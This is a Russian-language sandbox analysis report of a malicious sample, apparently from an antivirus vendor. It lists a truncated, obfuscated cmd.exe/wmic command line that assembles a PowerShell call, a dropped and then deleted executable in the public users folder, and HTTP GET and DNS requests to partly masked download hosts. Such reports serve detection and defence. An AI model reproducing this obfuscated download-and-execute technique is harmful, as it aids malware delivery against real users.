Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' wmic & %comspec% /v /c set %LlFKVzFnkVbasRD%=iiEScbpqQ&&set %fCYDqDUjK%=w^er^s&&set %hahBkNFCoRIzEow%=whKTZJzib&&set %fRwlnohWQ%=p^o&&set %OQFPiZKVvpduSDC%=WQZmbJGZuITvQWQ&&set %P...
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\338063.exe
Удаляет следующие файлы
- C:\users\public\338063.exe
Сетевая активность
Подключается к
- 'fe##.net':80
- 'fe##.net':443
- 'ec#####dsolutionsgh.com':80
- 'vi####ldoorstep.com':80
TCP
Запросы HTTP GET
- http://fe##.net/YAqJ/
- http://www.ec#####dsolutionsgh.com/ilZ/
- http://vi####ldoorstep.com/SSbTyrS/
Другие
- 'fe##.net':443
UDP
- DNS ASK eo##in.cn
- DNS ASK fe##.net
- DNS ASK fe#####eningenieure.de
- DNS ASK em###-dnepr.com
- DNS ASK ec#####dsolutionsgh.com
- DNS ASK vi####ldoorstep.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' wmic & %comspec% /v /c set %LlFKVzFnkVbasRD%=iiEScbpqQ&&set %fCYDqDUjK%=w^er^s&&set %hahBkNFCoRIzEow%=whKTZJzib&&set %fRwlnohWQ%=p^o&&set %OQFPiZKVvpduSDC%=WQZmbJGZuITvQWQ&&set %P... (со скрытым окном)
